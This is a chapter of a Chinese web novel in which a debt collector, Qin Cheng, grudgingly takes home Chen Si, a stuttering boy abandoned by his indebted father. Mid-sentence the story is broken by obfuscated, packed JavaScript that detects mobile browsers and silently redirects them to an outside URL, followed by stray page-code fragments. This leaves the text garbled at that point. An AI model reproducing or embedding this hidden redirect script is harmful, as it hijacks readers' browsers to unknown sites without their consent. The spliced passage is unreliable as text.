皎白的月色下,陈思穿着松松垮垮的黑色皮衣,踩着一双不合脚的运动鞋踉跄地跑过来。
被秦承说了,他气喘吁吁地停下,红着一张脸蛋,黝黑的瞳仁在路灯下亮晶晶的。
秦承后悔,真后悔。
他当初就应该在陈强家里报警,等着警察上门把这小孩带走。而不是怕被警察发现他们是收债的而找麻烦选择自己送他去警察局。
到了警察局,不光被发现是收债的被扣了一天,还被这小东西阴魂不散的缠上。
越想躲麻烦,就越来越麻烦!
这小东西就是最大的麻烦!
“你干嘛老是跟着我?我是你爹还是你妈啊?!”秦承瞪着充斥红血丝的眼睛,彻底忍不住了。
平地拔高的声音让陈思吓了一跳,他缩了缩脖子。
秦承比他高出一头,他仰望着,倔强地和秦承对视,手指却不自在地捏在一起,轻飘飘的两条单薄睡裤随夜风扬起。
他用比蚊子大不了多少的声音说:“你、你好。”
“好个屁!我是坏人!”秦承气笑了,指着这小东西的脑门像机关枪一样说,“我是收债的!管你爸要钱的!你爸欠了好多人钱,他们拜托我来收钱,给我分成费。算来算去,你爸也欠我钱。我没把你卖了抵债就不错了,你居然还跟着我!我上辈子欠你的啊?!”
“真服了!别再跟着我!再跟着我,小心我揍小孩!”秦承把陈思戳得捂着通红的脑门连连后退,趁这工夫赶紧戴上头盔,长腿一迈,发动引擎。
陈思见此,着急忙慌地跑过去,手搭上摩托车的尾包。
“突突突——呜——”
秦承哪敢回头,压根没发现他的动作,摩托车飞快地冲出去。刚过二十米,身后传来一声惊呼“啊!”,他猛地回头。
路灯底下,那小东西跌坐在冰凉坚硬的水泥地上,缩成一团,两只不合脚的运动鞋早就甩飞了,光着脚踩在雪水里,仰着一张红通通的小脸抽气,浑身哆嗦。
“操!”秦承震惊地骂了声,停下摩托车,三两下解完头盔,哐一声扔在车座上,蹭地跑过去。
“你说你追车干嘛!那是摩托车!不是自行车!多危险!”他一把把陈思薅起来,陈思痛呜一声,靠在他胸前连腰都没直起来,小手紧抓着秦承的手臂,一边掉眼泪一边抽抽:“手疼……呜。”
他举着手给秦承看。
光洁白嫩的手心里一块划痕密布的鲜红挫伤。
“我看见了,我带你去警察局让警察叔叔给你处理,你先起来……操,你动啊!”
陈思不上不下,既没站着也没蹲着,全身的重量都压在秦承身上。近距离的接触让秦承很不舒服,他拽了这小孩一把,结果陈思又咿呜一声,眨着泪眼瞅他:“不、不行,腿也好痛……”
秦承额头上冷汗都下来了,松开陈思想蹲下去瞅一眼他的腿,没想到脚上一重,这小孩没了他拉着,直接一屁股坐他脚上了,因为没坐稳,哎呦一声,两条胳膊急急忙忙抱住他的腿。
秦承:“……”
他真没招了。
他甚至怀疑这小孩刚才追车摔倒都是故意来碰瓷的,非得从他身上挖点好处走。
就在这时,手机响了,秦承连看都没看是谁,直接接了。
“那个,小秦啊。刚才那小孩追出去了,你看见了吗?本来这小孩应该归局里照顾的,但是你也看出来了,你救了他,他就一门心思跟着你,对警局里的人都很害怕。这样,你帮我老张一个忙,等联系到他别的家人之前,你帮着照看几天……”
一百米外的警局玻璃窗后,老张拿着手机猫着腰,盯着路灯下一大一小两个影子。他本来想追出去的,但仔细琢磨了琢磨,现在这小孩还真就秦承能看。
他这会儿要是追出去,秦承绝对把陈思往他怀里一扔,骑上摩托车跑的比流星还快。
秦承回神了,咬牙切齿道:“关我屁事!你是警察还是我是警察?”
“哎,话不是这么说的。你看他瘦瘦小小的,从小被他亲爸关着不让接触社会,他懂什么?他就知道你救了他,你是好人,就巴巴地追上去了。要说这陈强也真是混蛋,自己的亲儿子,逃债带着女朋友走,都不带他,这小孩多可怜,没爸没妈,孤苦伶仃……”老张又开始替陈思卖惨,赌秦承心软。
秦承听着,眉心直跳,顺带往下瞅了一眼。
那小孩还抱着他的腿,眼巴巴地瞅着他,杏仁大的眼睛又透又亮,鼻尖被风吹成了淡粉色,跟小区底下的流浪猫一样。
“……”不知道老张还在说什么废话,秦承没听进去,随便骂了一句什么,猛地掐断手机。
他深呼吸,和陈思对视。一秒、两秒……他突然弯下腰,手从陈思弯曲的膝盖下伸过去,把人打横抱起。
将冰凉凉的小东西放在摩托车后座,秦承拿着头盔,威慑的眼神扫过去,警告道:“你给我听着,我就管你两天,两天一到,你就给我滚的远远的。在此期间,我让你往东你不能往西,总而言之,就是俩字,听话,明白吗?”
陈思这回老实了,含糊乖巧地点了个头:“好好好、好的。”
他这一开口,秦承听出不对劲了。刚才在警局里陈思回答警察的询问时也是这个结结巴巴的样子,他以为是紧张。可到这会了,还这副样子。难道……
秦承不确定地看向他:“你是结巴?”
陈思一听就不高兴了,不高兴的时候口齿更不清:“我不不不,不是结结结巴。”
“你你你,你不是结巴。”秦承气笑了,“我是呗?”
他懒得再和这可恨的小结巴多费口舌,直接在陈思要开口时一头盔给他脑袋扣上了。
扣得有点歪,陈思自己伸手扒拉,终于不卡脑袋了,前座一沉,电机嗡地响了一声,紧接着是发动机低沉的突突声。
秦承握着摩托车车把往后瞟了一眼,发闷的声音从黑色头盔底下传来:“抓好了。”
陈思第一次坐这种车,对刚才摩托车那股冲出去把他拽倒的力气心有余悸,伸出手紧张地拉住秦承毛衣的衣角。
这点力气让秦承皱了下眉,但他懒得提醒,顺畅的轰鸣声一起,摩托车蹭地冲出去。
“嗯!”陈思脑袋猛地磕在男人宽阔的后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154613|196526||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
背上,风呼啸着从耳边飞过,他害怕地搂紧了秦承结实的腰。
秦承低眸扫过,光洁的小手可怜巴巴地紧握在他小腹上。
到秦承租住的小区路程虽然只有二十分钟,但陈思穿着一条睡裤,膝盖上还有淤青,秦承叫他下车时,他匆匆忙忙应了声,落地的腿却没有任何知觉,倏地往前栽了一下。
秦承本来不耐烦地站在路边等他,见此下意识接了一下,陈思顺势倒在他怀里,鼻子钻到他毛衣领子里直抽气,呜呜地说:“腿麻,走、走不了。”
手隔着睡裤在他大腿上摸了下,完全僵住了。而这小区是没电梯的,秦承皱起眉,顺手把他脑袋揪起来:“歇会再上楼。”
男人身上有股干净的洗衣液味,蹭的陈思鼻子痒痒的,鼻尖下意识耸动着,一股焦脆的油脂香窜进鼻腔,他眼睛立刻亮了。
秦承瞅这小东西脑袋往西歪出八里地,喉咙还一直吞咽口水,顺着他视线一瞅。
热腾腾的白气飘上天空,移动小摊明亮的红色招牌上黄澄澄的字闪着炫彩夺目的光,穿着围裙的妇女挥舞着手里的锅铲,兴高采烈地吆喝:“烤冷面手抓饼鸡蛋灌饼火鸡面,脆骨肠淀粉肠章鱼小丸子——哎,那边的帅哥吃饭了吗?要不要来一份?”
陈思眼中闪着兴奋的光芒,立刻应道:“来……”
“来个屁。”秦承浑身汗毛都竖起来了,开什么玩笑,他家楼下的物价比别的地方贵一块五,他疯了当冤大头,还是给这个让他不痛快了一天的小孩买!
他赶紧捏着陈思的后脖颈给人提起来,拖着就往楼梯走。这楼梯台阶很窄,人上去跟爬梯子差不多,秦承抱得又不牢实,陈思吓得直往上窜,两条腿一直扑腾。
他一动,秦承就站不稳,还好他家住二楼。只是他知道到地方了,这小孩不知道,两条腿乱甩,他好不容易给他套上的运动鞋又飞了。
他踉踉跄跄地往前走,陈思上身一直扭,光溜溜的脚丫踩在他胯上,皮带都差点蹬掉了。秦承忍无可忍刚要说他,那小孩又是一脚——
“操!”秦承倒吸一口气,就算他是钢铁做的身体也受不了,猛地往前一栽,咣当一声,压着陈思的后背砸在楼道两侧的瓷砖墙上。
“呜!”陈思痛得泪花都出来了。
秦承嘴唇发白,咬牙切齿地瞅着他:“你再乱动一个试试?你真是来治我的。”
“对、对不起。”陈思被他眼神盯得直发毛,知道自己干了错事,弱弱地把脚从秦承胯/间抽出,老老实实勾上男人的腰。
秦承缓了会,总算好了,拖着小东西的屁股往楼道深处走。到了门前,他调整姿势,单手从裤兜里掏钥匙。
身后,楼梯口对门本来黑漆漆的窗户里,亮起一盏小灯,昏黄的灯光下,头发花白的老太太披着外套,蹑手蹑脚地戴上老花镜,吊梢细长的眼睛隔着窗户望。
门开了,男人站在玄关处按亮灯,陈思被刺眼的灯光照得直往秦承怀里钻。因此在背后,老太太只能看到秦承隐约抱着个娇小的人影,结实的后腰上,缠着一双莹白的脚丫。
“哎呦,现在的年轻人哦……”